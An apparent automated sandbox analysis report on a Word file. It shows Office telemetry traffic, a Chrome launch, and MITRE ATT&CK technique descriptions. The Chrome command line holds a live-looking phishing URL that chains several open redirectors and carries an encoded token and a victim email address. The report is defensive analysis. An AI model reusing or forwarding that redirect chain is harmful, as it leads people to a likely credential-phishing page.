2024-10-18 22:14:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.10	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:13 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:13 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 9dceea2a-001e-002b-0dd8-1e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221413Z-16b659b4499wvth4ttszf0h3n400000009h0000000009sxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:13 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.10	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:13 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:13 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 7ef23808-e01e-0051-72d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221413Z-16b659b4499p9z6wm7hd85vp6w00000001u00000000070c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:13 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.10	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:13 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:13 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 783e58c1-401e-00ac-30d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221413Z-16b659b4499pnh69zuen6a54mc0000000b5000000000uesc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:13 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.10	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:14 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: dab50239-001e-0066-6cd8-1e561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221414Z-16b659b4499rgn6gzhcff90q8g0000000bs000000000ua7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.10	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:14 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:14 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 388316fc-801e-008c-1dd8-1e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221414Z-16b659b44994sjcfes83c39y4000000009fg00000000tws7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.10	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:14 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:14 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 623df284-001e-0049-157b-1f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221414Z-r197bdfb6b4k6h5j1g5mvtmsmn00000003t0000000002asq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:14 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.10	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:14 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:14 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 72513f84-001e-0046-3cd8-1eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221414Z-16b659b4499mk7vv3349cr2qug0000000d7g00000000057s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:14 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.10	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:14 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:14 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: b9c8d577-601e-0002-7dab-21a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221414Z-15b8d89586f8l5961kfst8fpb000000000r000000000p3ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-18 22:14:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Target ID:	0
Start time:	18:13:47
Start date:	18/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x420000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:14:13
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.top50-solar.de/newsclick.php?id=136149&link=https://coupons.digidip.net/visit?url=Https://hr.queenmobile.net/l.php?url=https%3A%2F%2Fsaloneliteco.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPU5ETjZiWEE9JnVpZD1VU0VSMjcwOTIwMjRVMDcwOTI3MjI=N0123N&partner=17&merchant_id=169269&country_id=83#MICHELLES@AGEECONSTRUCTION.COM
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:14:14
Start date:	18/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1988,i,12392792373501057144,10114819878945905559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

